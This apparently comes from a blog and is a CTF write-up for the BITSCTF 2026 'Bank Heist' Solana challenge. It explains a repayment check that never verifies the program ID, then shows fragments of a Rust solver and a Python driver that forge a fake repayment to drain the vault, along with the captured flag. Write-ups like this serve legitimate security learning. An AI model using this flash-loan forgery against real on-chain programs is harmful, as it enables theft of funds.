163 words
1 minutes
BITSCTF 2026 - Bank Heist - Blockchain Writeup
Category: Blockchain
Flag: BITSCTF{8ANk_h3157_1n51D3_A_8L0cK_ChA1n_15_cRa2Y}
Challenge Description
Given bank-heist.tar.gz. Remote: nc 20.193.149.152 5000. Need to drain bank vault below 1M lamports.
Analysis
verify_repayment inspects next top-level instruction but only checks:
- instruction data starts with u32
2 - transfer amount >= expected_amount
accounts[1].pubkey == bank_pda
Missing: doesn’t verify program_id is System Program, source constraints, or actual transfer.
Exploitation
First instruction: CPI chain: OpenAccount → VerifyKYC (proof from SlotHashes) → RequestLoan(999_100_000)
Second instruction: Forged “repayment” with only metadata: accounts [user, bank_pda], data <u32=2><u64=amount>
// Solver program (Rust SBF)
invoke(&open_ix, &[...])?;
// Compute KYC proof from SlotHashes
invoke(&verify_ix, &[...])?;
invoke(&request_ix, &[...])?;# Driver script
#!/usr/bin/env python3
import socket
import struct
# ... (upload solve.so, send two instructions) ...
# First instruction: real CPI chain
send_line(s, "7") # 7 accounts
send_line(s, f"sw {user}")
# ... account setup ...
ix1_data = bytes([1]) + struct.pack("<Q", 999_100_000)
# Second instruction: fake repayment
send_line(s, "2") # 2 accounts
send_line(s, f"r {user}")
send_line(s, f"w {bank_pda_s}")
fake_transfer = struct.pack("<IQ", 2, 999_100_000)Build and run:
cargo-build-sbf --manifest-path solve/Cargo.toml
python3 solve_remote.py 20.193.149.152 5000Output:
Bank Vault Balance: 900000
Congratulations! You robbed the bank!
Flag: BITSCTF{8ANk_h3157_1n51D3_A_8L0cK_ChA1n_15_cRa2Y} BITSCTF 2026 - Bank Heist - Blockchain Writeup
https://blog.rei.my.id/posts/51/bitsctf-2026-bank-heist-blockchain-writeup/